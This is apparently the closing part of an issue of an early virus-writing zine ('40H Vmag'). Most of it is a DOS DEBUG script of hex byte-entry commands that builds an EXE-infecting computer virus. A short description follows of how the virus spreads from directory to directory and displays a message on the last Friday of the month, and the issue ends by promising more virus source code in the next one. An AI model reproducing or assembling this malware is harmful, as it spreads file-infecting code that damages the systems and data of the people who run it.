e 0250 DC 10 22 13 22 22 DC 02 10 B3 22 22 13 22 0B DC
e 0260 02 10 B3 13 1B 06 0B DC 10 22 13 22 DC 02 10 B3
e 0270 13 22 0B DC 02 10 B3 13 22 0B DC 02 10 B3 22 1A
e 0280 08 C6 C6 C0 DB 22 22 02 B3 B3 14 18 05 B3 0D 18
e 0290 0E B3 12 1B 05 14 18 01 B3 02 10 DF 1B 00 08 B1
e 02A0 22 22 02 B3 B3 B3 13 22 0B DC 02 10 B3 13 22 0B
e 02B0 DC 22 DC 02 10 B3 22 13 22 0B DC 02 10 B3 22 B3
e 02C0 B3 B3 13 22 0B DC 02 10 B3 13 22 0B DC 02 10 B3
e 02D0 22 B3 B3 13 22 0B DC 02 10 B3 22 1A 22 22 08 B1
e 02E0 1B 00 02 B3 B3 14 18 05 B3 0D 18 0E B3 12 DC D9
e 02F0 D9 02 14 B3 B3 B0 B0 0D 12 D9 14 B3 B3 B3 02 10
e 0300 DF 1B 01 08 B1 22 13 1B 06 0B DC 02 10 B3 13 22
e 0310 0B DC 02 10 B3 13 22 0B DC 02 10 B3 13 22 0B DC
e 0320 02 10 B3 13 1B 06 0B DC 02 10 B3 13 22 0B DC 02
e 0330 10 B3 1B 00 13 22 0B DC 02 10 B3 22 1A 22 22 08
e 0340 B1 1B 00 02 B3 B3 14 18 05 B3 0D 18 0E B3 12 DC
e 0350 D9 D9 02 14 B3 B3 B3 B0 0D 12 D9 14 B3 B3 02 10
e 0360 DF 1B 06 08 B1 22 22 02 18 07 B3 22 B3 B3 22 B3
e 0370 B3 22 B3 B3 22 18 07 B3 22 B3 B3 1B 00 B3 B3 B3
e 0380 22 1A 22 22 08 B1 1B 00 02 B3 B3 14 18 01 B3 0D
e 0390 B3 B3 B3 02 B3 0D 18 0E B3 12 DC 18 07 D9 14 B3
e 03A0 B3 02 10 DF 1B 01 08 D8 C6 DB 1B 18 D8 C6 C6 C6
e 03B0 BD 22 22 1A 22 22 B1 1B 01 02 B3 B3 14 B3 B3 B3
e 03C0 0D 18 18 B3 02 10 DF 1B 00 08 C1 18 04 C6 C0 18
e 03D0 16 C6 DB 1B 00 B1 22 22 1A 22 22 C1 18 01 C6 BD
e 03E0 02 B3 B3 0D 14 18 1F B3 02 10 DF 22 22 08 B1 1B
e 03F0 07 16 22 0D 14 56 16 6A 67 22 6F 63 6C 22 75 6A
e 0400 6D 22 60 70 6D 77 65 6A 76 22 7B 6D 77 22 10 22
e 0410 22 08 B1 22 22 1A 22 22 B1 1B 01 B1 02 B3 B3 0D
e 0420 14 18 1E B3 02 10 DF 1B 00 08 B1 1B 01 02 B3 B3
e 0430 16 22 0D 34 30 30 2E 22 51 69 6B 71 6F 22 4D 6C
e 0440 67 2E 22 41 63 72 76 6B 63 6C 22 10 22 22 08 B1
e 0450 22 22 1A 22 22 B1 1B 01 B1 02 B3 B3 0D 14 18 10
e 0460 B3 02 10 DF 0D 14 18 05 B3 02 10 DF 1B 01 08 B1
e 0470 1B 01 02 B3 B3 16 22 0D 56 70 6B 72 71 2E 22 63
e 0480 6C 66 22 51 77 60 2F 58 67 70 6D 22 6C 6D 75 22
e 0490 10 22 22 08 B1 22 22 1A 22 22 B1 1B 01 B1 02 B3
e 04A0 B3 0D 14 18 10 B3 02 10 DF 1B 01 08 B1 1B 05 B1
e 04B0 1B 01 02 B3 B3 16 22 0D 71 6A 63 6C 69 71 22 7B
e 04C0 6D 77 22 63 65 63 6B 6C 2E 22 22 75 6B 76 6A 22
e 04D0 10 22 22 08 C2 C6 C6 1A 22 22 B1 1B 01 B1 02 B3
e 04E0 B3 0D 14 18 10 B3 02 10 DF 1B 01 08 C2 C6 C6 BD
e 04F0 1B 06 C1 C6 BD 22 22 02 B3 B3 16 22 0D 6A 6B 71
e 0500 22 6E 63 76 67 71 76 2C 2C 2C 1B 08 10 1B 06 1A
e 0510 22 22 08 C2 C6 C6 C0 C6 C3 02 B3 B3 0D 14 18 11
e 0520 B3 02 10 DF 1B 07 08 B1 1B 06 B1 22 B1 22 22 02
e 0530 18 1A B3 1B 04 1A 1B 06 08 B1 22 22 02 B3 B3 0D
e 0540 14 18 15 B3 02 10 DF 22 22 08 B1 1B 06 B1 22 C2
e 0550 18 1E C6 BD 1B 01 1A C6 C6 C0 C6 C6 DB 22 22 02
e 0560 B3 B3 0D 14 18 14 B3 02 10 DF 1B 00 08 C1 C6 C6
e 0570 C6 C0 C6 DB 1B 07 17 22 0C 51 69 6B 71 6F 22 33
e 0580 3B 3B 30 22 2F 22 54 6B 70 77 71 18 01 23 22 10
e 0590 22 08 C1 18 01 C6 1A 22 22 B1 1B 06 02 B3 B3 0D
e 05A0 14 18 0A B3 02 10 DF 1B 0A 08 D8 18 04 C6 DB 1B
e 05B0 00 B1 1B 07 02 B3 B3 17 1B 01 0D 45 67 76 22 63
e 05C0 22 6E 63 76 67 22 72 63 71 71 23 1B 01 10 22 08
e 05D0 B1 1B 01 1A D8 C6 DB 1B 00 02 B3 B3 0D 11 18 09
e 05E0 D9 14 D9 D9 12 DF 10 1B 07 08 B1 1B 08 B1 1B 07
e 05F0 02 18 1A B3 22 22 08 B1 1B 01 1A B1 22 02 B3 B3
e 0600 0D 11 18 19 D9 02 10 DF 1B 05 08 B1 1B 11 D8 18
e 0610 09 C6 DB 1B 01 1A 02 B3 B3 0D 12 18 22 D9 DF 10
e 0620 1B 06 08 B1 1B 11 B1 1B 12 1A 0D 12 18 21 D9 DF
e 0630 10 1B 01 08 C2 18 11 C6 DB 1B 12 1A 28 02 28 2C
e 0640 47 5A 47 02 5E 02 01 3D 3D 3D 3D 3D 3D 3D 3D 22
e 0650 22 22 11 01 02 02 02 28 D3 EF 48 13 68 7B D4 14
e 0660 02 02 02 02 46 4D 51 02 22 22 22 22 02 02 02 02
e 0670 02 01 3D 3D 3D 3D 3D 3D 3D 3D 47 5A 47 05 07 02
e 0680 23 02 28 D3 EF 48 22 2A 00 23 02 00 02 02 02 56
e 0690 43 50 45 47 50 2C 47 5A 47 02 02 02 95 32 44 04
e 06A0 73 04 95 32 02 56 47 4F 52 02 02 02 02 02 02 02
e 06B0 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02
e 06C0 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02
e 06D0 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02
e 06E0 02 02 02 02 02 07 02 2A 00 23 02 22 02 CF 22 02
e 06F0 02 BA 02 32 CF 23 3E 01 70 29 B6 2E CF 23 8A 14
e 0700 01 03 B6 28 CF 23 82 F8 1B 7E 06 3E 07 76 01 E9
e 0710 77 92 BC 3A 03 BA 02 BA 8C C2 BD 02 02 BB 06 07
e 0720 EA 07 02 E9 FC EB 88 02 E1 59 89 D5 31 C2 FE AE
e 0730 3E 22 70 07 A9 E0 FA E9 4E 3E 12 71 05 82 E6 F2
e 0740 08 E2 E9 F3 3E 1A 76 11 71 1B 2E 12 00 C2 00 C2
e 0750 00 C2 00 C2 82 E6 8D 08 E2 E9 D8 83 C0 A2 02 89
e 0760 F8 E9 D0 3E 19 70 05 77 CE 82 F6 82 E9 C5 3E 1B
e 0770 89 DB AE 88 CA B2 22 76 00 AE 49 30 EF 43 F1 A9
e 0780 89 C9 4B E2 A8 C1 B8 44 04 B6 18 CF 23 B6 1B CF
e 0790 23 88 D2 FC C0 B6 45 BC A7 04 CF 23 B8 46 04 B6
e 07A0 39 CF 23 BB 11 02 B8 3E 04 B6 4C CF 23 3F 10 02
e 07B0 77 01 E9 53 92 B6 4D CF 23 3F 10 02 76 45 B8 66
e 07C0 04 B6 39 CF 23 B6 2D CF 23 8E 04 9E 04 8B 1C 9C
e 07D0 04 B8 73 04 B6 18 CF 23 BB 05 02 B8 3C 04 B6 4C
e 07E0 CF 23 3F 10 02 77 23 B6 4D CF 23 3F 10 02 77 1A
e 07F0 B8 46 04 B6 39 CF 23 B6 18 8C 1C 9E 04 89 14 9C
e 0800 04 CF 23 E9 B2 E9 7B 92 B6 2D CF 23 8E 04 A0 04
e 0810 8B 1C A2 04 B8 8D 04 B9 73 04 89 45 1A A1 EB 04
e 0820 89 45 14 A1 E5 04 89 45 17 BA 02 41 CF 23 8B 0C
e 0830 E9 04 BA 03 41 31 CB CF 23 BA 02 3F CF 23 70 21
e 0840 A1 E7 04 B6 3D 89 1C E7 04 BB 00 02 B8 EF 04 CF
e 0850 23 B6 3C 89 1C E7 04 CF 23 89 1C EF 04 83 F9 E9
e 0860 00 77 0D B6 18 8C 1C A0 04 89 14 A2 04 CF 23 EB
e 0870 77 FD B8 8D 04 BA 00 3F CF 23 A1 E7 04 EA 9D FA
e 0880 BA 03 55 89 1C E7 04 89 0C E5 04 89 14 EB 04 CF
e 0890 23 BA 03 41 89 0C E9 04 B8 8D 04 CF 23 B6 39 B8
e 08A0 46 04 CF 23 B6 39 B8 A7 04 CF 23 BA 02 4E CF 23
e 08B0 4F 61 43 64 67 67 22 75 70 6D 76 67 22 55 6A 63
e 08C0 6E 67 23 23 23 23 23 23 1A 1A 1A 1A 1A 1A 1A 1A
rcx
7C8
w
q
------------------------------------------------------------------------------
The virus only infects systems running DOS 3.0 and up. It is non-resident
will only infect disks with more than two directorys. When the virus is
run it will seek out the first EXE file in the second directory from the
root. Each run after that will begin infection of files following. The
virus will jump from directory to directory when executed until it finds
an uninfected EXE file to nail.
On the last Friday of the month the virus will display a full color, full
screen message to all.
HR
40H Vmag Issue 1 Volume 1 00006
I think this magazine will be monthly, keep looking for it.
Next Issue -
Spotlight on Vienna
Editoral on virus speed
Article on Whale and if I can find it Whale source code.
plus
More viruses, more source code and more insight...